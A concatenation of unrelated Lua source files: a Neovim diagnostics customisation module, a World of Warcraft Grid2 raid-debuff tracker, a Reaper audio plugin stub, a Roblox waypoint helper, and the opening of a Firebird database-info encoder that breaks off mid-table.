--- Stolen from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L76-L91>.
function M.filter_by_severity(severity, diagnostics)
if not severity then
return diagnostics
end
if type(severity) ~= 'table' then
severity = M.to_severity(severity)
return vim.tbl_filter(function(t)
return t.severity == severity
end, diagnostics)
end
local min_severity = M.to_severity(severity.min) or M.severity.HINT
local max_severity = M.to_severity(severity.max) or M.severity.ERROR
return vim.tbl_filter(function(t)
return t.severity <= min_severity and t.severity >= max_severity
end, diagnostics)
end
-- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L962-L998>
-- See also <https://github.com/neoclide/coc.nvim/blob/705135211e84725766e434f59e63ae3592c609d9/src/diagnostic/buffer.ts#L255-L264>
function vim_diagnostic._get_virt_text_chunks(line_diags, opts)
if #line_diags == 0 then
return nil
end
opts = opts or {}
local prefix = opts.prefix or '#'
local spacing = opts.spacing or 4
local virt_texts = { { string.rep(' ', spacing) } }
local main_diag = line_diags[#line_diags]
table.insert(virt_texts, { ' ', M.virtual_text_highlight_map[main_diag.severity] })
for i = #line_diags, 1, -1 do
local diag = line_diags[i]
table.insert(virt_texts, { prefix, M.virtual_text_highlight_map[diag.severity] })
end
local str = ' '
if main_diag.message then
str = ' ' .. main_diag.message:gsub('\r', ' \\ '):gsub('\n', ' \\ ') .. ' '
end
table.insert(virt_texts, { str, M.virtual_text_highlight_map[main_diag.severity] })
return virt_texts
end
local orig_underline_handler_show = vim_diagnostic.handlers.underline.show
-- Replacement for <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L859-L897>.
-- Handles LSP DiagnosticTags, see <https://microsoft.github.io/language-server-protocol/specifications/specification-3-17/#diagnosticTag>.
function vim_diagnostic.handlers.underline.show(namespace, bufnr, diagnostics, opts, ...)
vim.validate({
namespace = { namespace, 'number' },
bufnr = { bufnr, 'number' },
diagnostics = { diagnostics, 'table' },
opts = { opts, 'table', true },
})
bufnr = utils_vim.normalize_bufnr(bufnr)
if opts.underline and opts.underline.severity then
diagnostics = M.filter_by_severity(opts.underline.severity, diagnostics)
end
local ns = vim_diagnostic.get_namespace(namespace)
if not ns.user_data.underline_ns then
ns.user_data.underline_ns = vim.api.nvim_create_namespace('')
end
for _, diagnostic in ipairs(diagnostics) do
vim.highlight.range(
bufnr,
ns.user_data.underline_ns,
-- The changed part (abstracted in a function):
M.get_underline_highlight_group(diagnostic),
{ diagnostic.lnum, diagnostic.col },
{ diagnostic.end_lnum, diagnostic.end_col }
)
end
-- The original handler must still be run afterwards because it includes some
-- logic for saving extmarks, available only via local functions. This is
-- most likely a fix for some bug, so we want our extmarks to be saved too,
-- but not for the original handler to create new extmarks, so we <del>patch
-- out the `vim.highlight.range` function that it uses and still call
-- it</del> on a second thought, no checking is performed to see if the
-- diagnostics list is empty, so let's just call it with an empty table. Note
-- that the `hide` function of the handler deletes the saved extmarks, but we
-- don't need to override it since it is working just fine from our
-- perspective.
return orig_underline_handler_show(namespace, bufnr, {}, opts, ...)
end
-- See also: <https://github.com/neoclide/coc.nvim/blob/705135211e84725766e434f59e63ae3592c609d9/src/diagnostic/buffer.ts#L342-L362>
function M.get_underline_highlight_group(diagnostic)
for _, tag in ipairs(((diagnostic.user_data or {}).lsp or {}).tags or {}) do
local higroup = M.underline_tag_highlight_map[tag]
if higroup then
return higroup
end
end
local higroup = M.underline_highlight_map[diagnostic.severity]
if higroup then
return higroup
end
return M.underline_highlight_map[Severity.ERROR] -- fallback
end
--- Based on <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L434-L456>.
function M.set_list(loclist, opts)
opts = opts or {}
local winnr, bufnr
if loclist then
winnr = opts.winnr or 0
bufnr = vim.api.nvim_win_get_buf(winnr)
end
local title = opts.title or ('Diagnostics from ' .. vim.fn.expand('%:.'))
local items = vim_diagnostic.toqflist(vim_diagnostic.get(bufnr, opts))
utils_vim.echo({ { string.format('Found %d diagnostics', #items) } })
vim.call('dotfiles#utils#push_qf_list', {
title = title,
dotfiles_loclist_window = winnr,
dotfiles_auto_open = opts.open,
items = items,
})
end
--- Replaces <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1335-L1344>.
function vim_diagnostic.setqflist(opts)
return M.set_list(false, opts)
end
--- Replaces <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1346-L1356>.
function vim_diagnostic.setloclist(opts)
return M.set_list(true, opts)
end
-- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1484-L1489>.
M.LOCLIST_TYPE_MAP = {
[Severity.ERROR] = 'E',
[Severity.WARN] = 'W',
[Severity.INFO] = 'I',
[Severity.HINT] = 'N',
}
-- Copy of <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1491-L1520>,
-- plus some formatting. See also <https://github.com/neoclide/coc.nvim/blob/0ad03ca857ae9ea30e51d7d8317096e1d378aa41/src/list/source/diagnostics.ts#L26-L30>.
function vim_diagnostic.toqflist(diagnostics)
vim.validate({
diagnostics = { diagnostics, 'table' },
})
local items = {}
for i, v in pairs(diagnostics) do
items[i] = {
bufnr = v.bufnr,
lnum = v.lnum + 1,
col = v.col and (v.col + 1) or nil,
end_lnum = v.end_lnum and (v.end_lnum + 1) or nil,
end_col = v.end_col and (v.end_col + 1) or nil,
type = M.LOCLIST_TYPE_MAP[v.severity] or 'E',
-- The only changed part:
text = M.format_diagnostic_for_list(v),
}
end
table.sort(items, function(a, b)
if a.filename ~= b.filename then
return a.filename < b.filename
elseif a.lnum ~= b.lnum then
return a.lnum < b.lnum
else
-- Also I've added sorting by the column number
return a.col < b.col
end
end)
return items
end
function M.format_diagnostic_for_list(diag)
local meta = {}
table.insert(meta, diag.source)
table.insert(meta, ((diag.user_data or {}).lsp or {}).code)
local text = diag.message:gsub('\n', ' \\ '):gsub('\r', ' \\ ')
if #meta > 0 then
text = '[' .. table.concat(meta, ' ') .. '] ' .. vim.trim(text)
else
text = vim.trim(text)
end
return text
end
function vim_diagnostic.fromqflist(list)
vim.validate({
list = { list, 'table' },
})
-- TODO: Because I apply some formatting to the diagnostic messages in
-- toqflist, this will have to handle that and parse the original message.
error('not yet implemented')
end
function M.patch_lsp_diagnostics(diagnostics, client_id)
local client = lsp.get_client_by_id(client_id)
-- <https://github.com/neoclide/coc.nvim/blob/c49acf35d8c32c16e1f14ab056a15308e0751688/src/diagnostic/collection.ts#L47-L51>
for _, diag in ipairs(diagnostics) do
if diag.severity == nil then
diag.severity = lsp.protocol.DiagnosticSeverity.Error
end
if diag.message == nil then
diag.message = 'unknown diagnostic message'
end
if diag.source == nil then
diag.source = client.name
end
end
end
local orig_lsp_diagnostic_save = lsp.diagnostic.save
function lsp.diagnostic.save(diagnostics, bufnr, client_id, ...)
if diagnostics then
M.patch_lsp_diagnostics(diagnostics, client_id)
end
return orig_lsp_diagnostic_save(diagnostics, bufnr, client_id, ...)
end
local orig_lsp_diagnostic_on_publish_diagnostics = lsp.diagnostic.on_publish_diagnostics
function lsp.diagnostic.on_publish_diagnostics(err, result, ctx, config, ...)
if not err and result and result.diagnostics and ctx.client_id then
M.patch_lsp_diagnostics(result.diagnostics, ctx.client_id)
end
return orig_lsp_diagnostic_on_publish_diagnostics(err, result, ctx, config, ...)
end
-- NOTE: <https://github.com/neovim/neovim/pull/16520>
-- NOTE: But still, I added the logging of the current diagnostic, I must PR that (TODO)
-- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L499-L528>.
function M.jump_to_neighbor(opts, diag)
if not diag then
utils_vim.echomsg({ { 'No more valid diagnostics to move to', 'WarningMsg' } })
return false
end
opts = opts or {}
local float = utils.if_nil(opts.float, true)
local winid = opts.win_id or vim.api.nvim_get_current_win()
local bufnr = vim.api.nvim_win_get_buf(winid)
vim.api.nvim_win_call(winid, function()
-- Save position in the window's jumplist
vim.cmd("normal! m'")
vim.api.nvim_win_set_cursor(winid, { diag.lnum + 1, diag.col })
vim.cmd('normal! zv')
end)
-- This is inefficient
local matching_diags = vim_diagnostic.get(bufnr, opts)
table.sort(matching_diags, function(a, b)
if a.lnum == b.lnum then
return a.col < b.col
end
return a.lnum < b.lnum
end)
local current_idx = nil
for idx, diag2 in ipairs(matching_diags) do
if rawequal(diag2, diag) then
current_idx = idx
end
end
if current_idx then
local message = string.format(
'(%d of %d) %s: %s',
current_idx,
#matching_diags,
M.SEVERITY_NAMES[diag.severity],
M.format_diagnostic_for_list(diag)
)
utils_vim.echo({ { message } })
end
if float then
if type(float) ~= 'table' then
float = {}
end
-- Shrug, don't ask me why schedule() is needed. Ask the Nvim maintainers:
-- <https://github.com/neovim/neovim/blob/v0.5.0/runtime/lua/vim/lsp/diagnostic.lua#L532>.
vim.schedule(function()
vim_diagnostic.open_float(
bufnr,
vim.tbl_extend('keep', float, { scope = 'cursor', focus = false })
)
end)
end
end
function vim_diagnostic.goto_prev(opts)
return M.jump_to_neighbor(opts, vim_diagnostic.get_prev(opts))
end
function vim_diagnostic.goto_next(opts)
return M.jump_to_neighbor(opts, vim_diagnostic.get_next(opts))
end
-- This one is a little bit too domain-specfic... Based on
-- <https://github.com/neoclide/coc.nvim/blob/eb47e40c52e21a5ce66bee6e51f1fafafe18a232/src/diagnostic/buffer.ts#L225-L253>.
function M.get_severity_stats_for_statusline(bufnr, diagnostics)
diagnostics = diagnostics or vim_diagnostic.get(bufnr)
local severities = {
Severity.ERROR,
Severity.WARN,
Severity.INFO,
Severity.HINT,
}
local diag_counts = {}
local diag_first_lines = {}
for _, severity in ipairs(severities) do
diag_counts[severity] = 0
diag_first_lines[severity] = -1
end
for _, diagnostic in ipairs(diagnostics) do
local severity = diagnostic.severity
diag_counts[severity] = diag_counts[severity] + 1
local line = diagnostic.lnum + 1
local min_first_line = diag_first_lines[severity]
diag_first_lines[severity] = min_first_line >= 0 and math.min(min_first_line, line) or line
end
local vim_result = { count = {}, first_line = {} }
for i, severity in ipairs(severities) do
vim_result.count[i] = diag_counts[severity]
vim_result.first_line[i] = diag_first_lines[severity]
end
return vim_result
end
-- Thank God the handlers system exists, it makes my life so much easier.
vim_diagnostic.handlers['dotfiles/statusline_stats'] = {
show = function(_, bufnr, diagnostics, _)
local stats = M.get_severity_stats_for_statusline(bufnr, diagnostics)
vim.api.nvim_buf_set_var(bufnr, 'dotfiles_lsp_diagnostics_statusline_stats', stats)
end,
hide = function(_, bufnr)
vim.api.nvim_buf_set_var(bufnr, 'dotfiles_lsp_diagnostics_statusline_stats', vim.NIL)
end,
}
-- And now, for the cherry on the cake. Even I've gotta admit, configuring the
-- system declaratively like this instead of hundreds of lines of
-- monkey-patches feels pretty Nice.
vim_diagnostic.config({
float = {
header = '', -- Turn the header off
prefix = '',
format = M.format_diagnostic_for_list,
severity_sort = false,
max_width = lsp_global_settings.DIAGNOSTIC_WINDOW_MAX_WIDTH,
max_height = lsp_global_settings.DIAGNOSTIC_WINDOW_MAX_HEIGHT,
},
underline = true,
virtual_text = {
prefix = '#',
spacing = 1,
},
signs = {
priority = 10, -- De-conflict with vim-signify.
},
severity_sort = true,
})
return M
|
-- Raid Debuffs module, implements raid-debuffs statuses
local L = LibStub("AceLocale-3.0"):GetLocale("Grid2")
local GSRD = Grid2:NewModule("Grid2RaidDebuffs")
local frame = CreateFrame("Frame")
local Grid2 = Grid2
local isClassic = Grid2.isClassic
local next = next
local ipairs = ipairs
local strfind = strfind
local GetTime = GetTime
local UnitGUID = UnitGUID
local GetSpellInfo = GetSpellInfo
local UnitAura = UnitAura
local EJ_GetInstanceForMap = EJ_GetInstanceForMap or function(mapID) return mapID-100000 end
local EJ_SelectInstance = EJ_SelectInstance or Grid2.Dummy
local EJ_GetEncounterInfoByIndex = EJ_GetEncounterInfoByIndex or Grid2.Dummy
GSRD.defaultDB = { profile = { debuffs = {}, enabledModules = {} } }
-- general variables
local instance_ej_id
local instance_map_id
local instance_bmap_id
local instance_map_name
local statuses = {}
local spells_order = {}
local spells_status = {}
local spells_count = 0
-- autdetect debuffs variables
local auto_status
local auto_time
local auto_boss
local auto_instance
local auto_encounter
local auto_debuffs
local auto_blacklist = { [160029] = true, [36032] = true, [6788] = true, [80354] = true, [95223] = true, [114216] = true, [57723] = true, [225080] = true, [25771] = true }
-- Fix some bugged maps (EJ_GetInstanceInfo does not return valid instanceID for the listed maps)
-- We replace bugged mapIDs with another non-bugged mapIDs of the same instance.
local bugged_maps = {
-- Fix for Uldir map 1150 (ticket #588)
[1150] = 1148,
-- Fixes for Eternal Palace (ticket #691)
[1515] = 1512,
[1516] = 1512,
-- Fixes for Ny'alotha the Waking City (ticket #786)
[1580] = 1581,
[1582] = 1581,
-- Spires of Ascension
[1692] = 1693,
}
-- LDB Tooltip
Grid2.tooltipFunc['RaidDebuffsCount'] = function(tooltip)
if instance_map_name then
tooltip:AddDoubleLine( instance_map_name, string.format("|cffff0000%d|r %s",spells_count,L['debuffs']), 255,255,255, 255,255,0)
end
end
-- roster units
local unit_in_roster = Grid2.roster_guids
-- GSRD
local function RefreshAuras(self, event, unit)
if unit_in_roster[unit] then
local index = 1
while true do
local name, te, co, ty, du, ex, ca, _, _, id, _, isBoss = UnitAura(unit, index, 'HARMFUL')
if not name then break end
local order = spells_order[name]
if not order then
order, name = spells_order[id], id
end
if order then
spells_status[name]:AddDebuff(order, te, co, ty, du, ex, index)
elseif auto_time and (not auto_blacklist[id]) and (ex<=0 or du<=0 or ex-du>=auto_time) then
order = GSRD:RegisterNewDebuff(id, ca, te, co, ty, du, ex, isBoss)
if order then
auto_status:AddDebuff(order, te, co, ty, du, ex, index)
end
end
index = index + 1
end
for status in next, statuses do
status:UpdateState(unit)
end
end
end
frame:SetScript("OnEvent", RefreshAuras)
function GSRD:RefreshAuras()
for unit in Grid2:IterateRosterUnits() do
RefreshAuras(frame, nil, unit)
end
end
function GSRD:OnModuleEnable()
self:UpdateZoneSpells(true)
if Grid2.classicDurations then
UnitAura = LibStub("LibClassicDurations").UnitAuraDirect
end
end
function GSRD:OnModuleDisable()
self:ResetZoneSpells()
end
-- In Classic Encounter Journal data does not exist so we always use map_id so: instance_ej_id+100000=instance_map_id
function GSRD:UpdateZoneSpells(event)
local bm = C_Map.GetBestMapForUnit("player")
if bm or isClassic then
local map_id = select(8,GetInstanceInfo()) + 100000 -- +100000 to avoid collisions with instance_ej_id
if event and map_id==instance_map_id then return end
self:ResetZoneSpells()
instance_ej_id = EJ_GetInstanceForMap( (isClassic and map_id) or bugged_maps[bm] or bm )
instance_map_id = map_id
instance_map_name = GetInstanceInfo()
instance_bmap_id = bm or -1
for status in next,statuses do
status:LoadZoneSpells()
end
self:UpdateEvents()
self:ClearAllIndicators()
else
C_Timer.After(3, function() self:UpdateZoneSpells(true) end )
end
end
function GSRD:GetCurrentZone()
return instance_ej_id, instance_map_id
end
function GSRD:ClearAllIndicators()
for status in next, statuses do
status:ClearAllIndicators()
end
end
function GSRD:ResetZoneSpells()
instance_ej_id = nil
instance_map_id = nil
instance_map_name = nil
wipe(spells_order)
wipe(spells_status)
end
function GSRD:UpdateEvents()
local new = not ( next(spells_order) or auto_status )
local old = not frame:IsEventRegistered("UNIT_AURA")
if new ~= old then
if new then
frame:UnregisterEvent("UNIT_AURA")
if Grid2.classicDurations then LibStub("LibClassicDurations"):Unregister(GSRD) end
else
frame:RegisterEvent("UNIT_AURA")
if Grid2.classicDurations then LibStub("LibClassicDurations"):Register(GSRD) end
end
end
end
function GSRD:Grid_UnitLeft(_, unit)
for status in next, statuses do
status:ResetState(unit)
end
end
-- raid debuffs autodetection
function GSRD:RegisterNewDebuff(spellId, caster, te, co, ty, du, ex, isBoss)
if (not isBoss) and (caster and Grid2:IsGUIDInRaid(UnitGUID(caster))) then return end
if not auto_debuffs then
self:RegisterEncounter()
end
local debuffs = auto_status.dbx.debuffs[auto_instance]
if not debuffs then
debuffs = {}; auto_status.dbx.debuffs[auto_instance] = debuffs
if self.debugging then self:Debug("New Debuff detected: [%d] instance: [%d] boss: [%s]", spellId, auto_instance, auto_encounter or "nil"); end
end
local order = #debuffs + 1
spells_order[spellId] = order
spells_status[spellId] = auto_status
debuffs[order] = spellId
auto_debuffs[#auto_debuffs+1] = spellId
return order
end
function GSRD:RegisterEncounter(encounterName)
encounterName = encounterName or auto_boss or self:GetBossName()
auto_encounter = encounterName
auto_instance = IsInInstance() and instance_ej_id or instance_map_id
local debuffs = self.db.profile.debuffs[auto_instance]
if not debuffs then
debuffs = { { id = auto_instance, name = instance_map_name, raid = IsInRaid() or nil } }
self.db.profile.debuffs[auto_instance] = debuffs
end
auto_debuffs = debuffs[encounterName]
if not auto_debuffs then
local instance = (instance_ej_id or 0)>0 and instance_ej_id or (isClassic and 1028 or 1192)-- 0=>asuming Azeroth(1028)(classic) or Shadowlands(1192)(retail)
local encOrder, encName, encID, _ = 0
EJ_SelectInstance(instance)
repeat
encOrder = encOrder + 1
encName, _, encID = EJ_GetEncounterInfoByIndex(encOrder, instance)
until encName==nil or encName == encounterName
auto_debuffs = { order = encOrder, ejid = encID }
debuffs[encounterName] = auto_debuffs
end
end
function GSRD:GetBossName()
return UnitName("boss1") or ((UnitLevel("target")==-1 or UnitLevel("target")>=GetMaxPlayerLevel()+2) and UnitName("target")) or "unknown"
end
function GSRD:ENCOUNTER_START(_,encounterID,encounterName)
self:RegisterEncounter(encounterName)
end
function GSRD:ZONE_CHANGED(event) -- general fix for subzones in instances with no assigned ejid
if instance_ej_id==0 and IsInInstance() then
if self.debugging then self:Debug("Wrong SubZone detected bMapID: [%d], reloading raid debuffs",instance_bmap_id or -1); end
self:UpdateZoneSpells(false)
end
end
function GSRD:PLAYER_REGEN_DISABLED()
auto_time = GetTime()
auto_boss = self:GetBossName()
end
function GSRD:PLAYER_REGEN_ENABLED()
if not UnitIsDeadOrGhost("player") then
auto_time = nil
auto_boss = nil
auto_debuffs = nil
end
end
function GSRD:EnableAutodetect(status)
auto_status = status
self:UpdateEvents()
self:RegisterEvent("PLAYER_REGEN_DISABLED")
self:RegisterEvent("PLAYER_REGEN_ENABLED")
self:RegisterEvent("ENCOUNTER_START")
if InCombatLockdown() then self:PLAYER_REGEN_DISABLED() end
end
function GSRD:DisableAutodetect()
auto_status = nil
auto_time = nil
auto_boss = nil
auto_debuffs = nil
self:UnregisterEvent("PLAYER_REGEN_DISABLED")
self:UnregisterEvent("PLAYER_REGEN_ENABLED")
self:UnregisterEvent("ENCOUNTER_START")
self:UpdateEvents()
end
-- statuses
local class = {
GetColor = Grid2.statusLibrary.GetColor,
IsActive = function(self, unit) return self.states[unit] end,
GetIcon = function(self, unit) return self.textures[unit] end,
GetCount = function(self, unit) return self.counts[unit] end,
GetDuration = function(self, unit) return self.durations[unit] end,
GetExpirationTime = function(self, unit) return self.expirations[unit] end,
GetTooltip = function(self, unit, tip) tip:SetUnitDebuff(unit, self.states[unit]) end,
}
do
local textures, counts, expirations, durations, colors = {}, {}, {}, {}, {}
function class:GetIconsMultiple(unit, max)
local color, i, j, name, id, _ = self.dbx.color1, 1, 1
repeat
name, textures[j], counts[j], _, durations[j], expirations[j], _, _, _, id = UnitAura(unit, i, 'HARMFUL')
if not name then break end
if spells_status[name]==self or spells_status[id]==self then
colors[j] = color
j = j + 1
end
i = i + 1
until j>max
return j-1, textures, counts, expirations, durations, colors
end
end
function class:ClearAllIndicators()
local states = self.states
for unit in pairs(states) do
states[unit] = nil
self:UpdateIndicators(unit)
end
end
function class:LoadZoneSpells()
if instance_map_id then
spells_count = 0
local debuffs = self.dbx.debuffs
local db = debuffs[instance_map_id] or debuffs[instance_ej_id]
if db then
for index, spell in ipairs(db) do
local name = spell<0 and -spell or GetSpellInfo(spell)
if name and (not spells_order[name]) then
spells_order[name] = index
spells_status[name] = self
spells_count = spells_count + 1
end
end
end
if GSRD.debugging then
GSRD:Debug("Zone[%s] C_MapID[%d] EjID[%d] mapID[%d] Status [%s]: %d raid debuffs loaded from [%d]", instance_map_name, instance_bmap_id, instance_ej_id, instance_map_id, self.name, spells_count, (debuffs[instance_map_id] and instance_map_id) or (debuffs[instance_ej_id] and instance_ej_id) )
end
end
end
function class:OnEnable()
if not next(statuses) then
GSRD:RegisterEvent("ZONE_CHANGED_NEW_AREA", "UpdateZoneSpells")
GSRD:RegisterMessage("Grid_UnitLeft")
if not isClassic then GSRD:RegisterEvent("ZONE_CHANGED"); end
end
statuses[self] = true
self.GetIcons = self.dbx.enableIcons and self.GetIconsMultiple or nil
self.UpdateState = self.dbx.enableIcons and self.UpdateStateMultiple or self.UpdateStateSingle
self:LoadZoneSpells()
GSRD:UpdateEvents()
end
function class:OnDisable()
statuses[self] = nil
if not next(statuses) then
GSRD:UnregisterEvent("ZONE_CHANGED_NEW_AREA")
GSRD:UnregisterMessage("Grid_UnitLeft")
if not isClassic then GSRD:UnregisterEvent("ZONE_CHANGED"); end
GSRD:ResetZoneSpells()
GSRD:UpdateEvents()
end
end
function class:AddDebuff(order, te, co, ty, du, ex, index)
if order < self.order or ( order == self.order and co > self.count ) then
self.index = index
self.order = order
self.count = co
self.texture = te
self.type = ty
self.duration = du
self.expiration = ex
end
end
function class:UpdateStateSingle(unit)
if self.order<10000 then
if self.count==0 then self.count = 1 end
if false ~= not self.states[unit] or
self.count ~= self.counts[unit] or
self.type ~= self.types[unit] or
self.texture ~= self.textures[unit] or
self.duration ~= self.durations[unit] or
self.expiration ~= self.expirations[unit]
then
self.states[unit] = self.index
self.counts[unit] = self.count
self.textures[unit] = self.texture
self.types[unit] = self.type
self.durations[unit] = self.duration
self.expirations[unit] = self.expiration
self:UpdateIndicators(unit)
end
self.order, self.count = 10000, 0
elseif self.states[unit] then
self.states[unit] = nil
self:UpdateIndicators(unit)
end
end
function class:UpdateStateMultiple(unit)
if self.order<10000 then
self.states[unit] = self.index
self.counts[unit] = self.count==0 and 1 or self.count
self.textures[unit] = self.texture
self.types[unit] = self.type
self.durations[unit] = self.duration
self.expirations[unit] = self.expiration
self.order, self.count = 10000, 0
elseif self.states[unit] then
self.states[unit] = nil
end
self:UpdateIndicators(unit)
end
function class:ResetState(unit)
self.states[unit] = nil
self.counts[unit] = nil
self.textures[unit] = nil
self.types[unit] = nil
self.durations[unit] = nil
self.expirations[unit] = nil
end
local function Create(baseKey, dbx)
local status = Grid2.statusPrototype:new(baseKey, false)
status.states = {}
status.textures = {}
status.counts = {}
status.types = {}
status.durations = {}
status.expirations = {}
status.count = 0
status.order = 10000
status:Inject(class)
Grid2:RegisterStatus(status, { 'icon', 'color', 'text', 'tooltip' }, baseKey, dbx)
return status
end
Grid2.setupFunc["raid-debuffs"] = Create
Grid2:DbSetStatusDefaultValue( "raid-debuffs", {type = "raid-debuffs", debuffs={}, color1 = {r=1,g=.5,b=1,a=1}} )
-- Hook to update database config
local prev_UpdateDefaults = Grid2.UpdateDefaults
function Grid2:UpdateDefaults()
prev_UpdateDefaults(self)
local version = Grid2:DbGetValue("versions", "Grid2RaidDebuffs") or 0
if version >= 4 then return end
if version == 0 then
Grid2:DbSetMap( "icon-center", "raid-debuffs", 155)
else -- Remove all enabled debuffs
for _,db in pairs(Grid2.db.profile.statuses) do
if db.type == "raid-debuffs" then
db.debuffs = {}
end
end
GSRD.db.profile.debuffs = {}
GSRD.db.profile.enabledModules = {}
end
Grid2:DbSetValue("versions","Grid2RaidDebuffs",4)
end
-- Hook to load Grid2RaidDebuffOptions module
local prev_LoadOptions = Grid2.LoadOptions
function Grid2:LoadOptions()
LoadAddOn("Grid2RaidDebuffsOptions")
prev_LoadOptions(self)
end
|
loadfile("C:/Users/pract/Documents/Repos/ReaperPlugins/Lua/ReaperFakeRoom/Source/Send.lua")()
local function Msg(param)
reaper.ShowConsoleMsg(tostring(param).."\n")
end
AudioSource = {
name = "",
position = {0,0}, -- 2D position in room
volume = 0, -- maybe not used..
track = 0, -- will be changed to reaper track[Direct track reference even if index(order in reaper mixer/project) should change]
mainMic = "", -- will send stereo signal to this mic.. mono to all other
roomMicsSendsList = {}, -- list all sends
closeMicsSendsList = {} -- 1st in list is ref to main mic, stereo send
}
function AudioSource:New(o)
o = o or {}
self.__index = self
setmetatable(o,self)
return o
end
function AudioSource:Ini() -- input all mic lists..
-- calculate sends to mics from distances..
-- each send should hold reverb and delay data...
local newSend = Send:New()
newSend.name = "new name"
Msg("new send name "..newSend.name)
end |
local Types = require(script.Parent.Parent.Types)
type Array<T> = Types.Array<T>
-- Returns a total magnitude between waypoints.
local function getPathWaypointsMagnitude(waypoints: Array<PathWaypoint>)
local previousPosition, magnitude = waypoints[1].Position, 0
-- skip initial waypoint as its magnitude will always be 0
for index = 2, #waypoints do
local waypointPosition = waypoints[index].Position
-- increment total path waypoints length (magnitude)
magnitude += (previousPosition - waypointPosition).Magnitude
previousPosition = waypointPosition
end
return magnitude
end
return getPathWaypointsMagnitude
|
--[[
DB_INFO: request information about an attachment
this is the aux library to encode the request buffer and decode the reply buffer.
encode(options_t) -> encoded options string
decode(info_buf, info_buf_len) -> decoded info table
USAGE:
- use it with isc_database_info() to encode the info request and decode the info result.
- see info_codes table below for what you can request and the structure and meaning of the results.
]]
module(...,require 'fbclient.module')
local info = require 'fbclient.info'
--used by decode_timestamp()
local datetime = require 'fbclient.datetime'
local alien = require 'alien'
local info_codes = {
isc_info_db_id = 4, --{db_filename,site_name}
isc_info_reads = 5, --number of page reads
isc_info_writes = 6, --number of page writes
isc_info_fetches = 7, --number of reads from the memory buffer cache
isc_info_marks = 8, --number of writes to the memory buffer cache
isc_info_implementation = 11, --implementation code name
isc_info_isc_version = 12, --interbase server version identification string
isc_info_base_level = 13, --database level number, i.e. capability version of the server
isc_info_page_size = 14, --number of bytes per page of the attached database
isc_info_num_buffers = 15, --number of memory buffers currently allocated
isc_info_limbo = 16, --TODO: make some limbo transactions
isc_info_current_memory = 17, --amount of server memory (in bytes) currently in use
isc_info_max_memory = 18, --maximum amount of memory (in bytes) used at one time since the first process attached to the database
isc_info_window_turns = 19, --returns error code on firebird !!
isc_info_license = 20, --returns error code on firebird !!
isc_info_allocation = 21, --number of database pages allocated
isc_info_attachment_id = 22, --attachment id number; att. IDs are in system table MON$ATTACHMENTS.
--all *_count codes below return {[table_id]=operation_count,...}; table IDs are in the system table RDB$RELATIONS.
isc_info_read_seq_count = 23, --number of sequential table scans (row reads) done on each table since the database was last attached
isc_info_read_idx_count = 24, --number of reads done via an index since the database was last attached
isc_info_insert_count = 25, --number of inserts into the database since the database was last attached
isc_info_update_count = 26, --number of database updates since the database was last attached
isc_info_delete_count = 27, --number of database deletes since the database was last attached
isc_info_backout_count = 28, --number of removals of a version of a record
isc_info_purge_count = 29, --number of removals of old versions of fully mature records (records that are committed, so that older ancestor versions are no longer needed)
isc_info_expunge_count = 30, --number of removals of a record and all of its ancestors, for records whose deletions have been committed
isc_info_sweep_interval = 31, --number of transactions that are committed between sweeps to remove database record versions that are no longer needed
isc_info_ods_version = 32, --ODS major version number
isc_info_ods_minor_version = 33, --On-disk structure (ODS) minor version number
isc_info_no_reserve = 34, --boolean: 20% page space is NOT reserved for holding backup versions of modified records
--[[ WAL was removed from firebird
isc_info_logfile = 35,
isc_info_cur_logfile_name = 36,
isc_info_cur_log_part_offset = 37,
isc_info_num_wal_buffers = 38,
isc_info_wal_buffer_size = 39,
isc_info_wal_ckpt_length = 40,
isc_info_wal_cur_ckpt_interval = 41,
isc_info_wal_prv_ckpt_fname = 42,
isc_info_wal_prv_ckpt_poffset = 43,
isc_info_wal_recv_ckpt_fname = 44,
isc_info_wal_recv_ckpt_poffset = 45,
isc_info_wal_grpc_wait_usecs = 47,
isc_info_wal_num_io = 48,
isc_info_wal_avg_io_size = 49,
isc_info_wal_num_commits = 50,
isc_info_wal_avg_grpc_size = 51,
]]
isc_info_forced_writes = 52, --mode in which database writes are performed: true=sync, false=async
isc_info_user_names = 53, --array of names of all the users currently attached to the database
isc_info_page_errors = 54, --number of page level errors validate found
isc_info_record_errors = 55, --number of record level errors validate found
isc_info_bpage_errors = 56, --number of blob page errors validate found
isc_info_dpage_errors = 57, --number of data page errors validate found
isc_info_ipage_errors = 58, --number of index page errors validate found
isc_info_ppage_errors = 59, --number of pointer page errors validate found
isc_info_tpage_errors = 60, --number of transaction page errors validate found
isc_info_set_page_buffers = 61, --set ?! the number of page buffers used in a classic attachment.
isc_info_db_sql_dialect = 62, --dialect of currently attached database
isc_info_db_read_only = 63, --boolean: whether the database is read-only or not
isc_info_db_size_in_pages = 64, --same as isc_info_allocation
frb_info_att_charset = 101, --charset of current attachment
isc_info_db_class = 102,
isc_info_firebird_version = 103, --firebird server version identification string
isc_info_oldest_transaction = 104, --ID of oldest transaction
isc_info_oldest_active = 105, --ID of oldest active transaction
isc_info_oldest_snapshot = 106, --ID of oldest snapshot transaction
isc_info_next_transaction = 107, --ID of next transaction
isc_info_db_provider = 108, --for firebird is 'isc_info_db_code_firebird'
isc_info_active_transactions= 109, --array of active transaction IDs; fb 1.5+
isc_info_active_tran_count = 110, --number of active transactions; fb 2.0+
isc_info_creation_date = 111, --time_t struct representing database creation date & time; fb 2.0+
isc_info_db_file_size = 112, --?; returns 0
fb_info_page_contents = 113, --get raw page contents; takes page_number as parameter; fb 2.5+
}
local info_code_lookup = index(info_codes)
local info_buf_sizes = {
isc_info_db_id = 1+1+MAX_BYTE+1+MAX_BYTE, --mark,dbfile,hostname
isc_info_reads = INT_SIZE,
isc_info_writes = INT_SIZE,
isc_info_fetches = INT_SIZE,
isc_info_marks = INT_SIZE,
isc_info_implementation = 1+1+1+1, --mark,impl_number,class_number,?
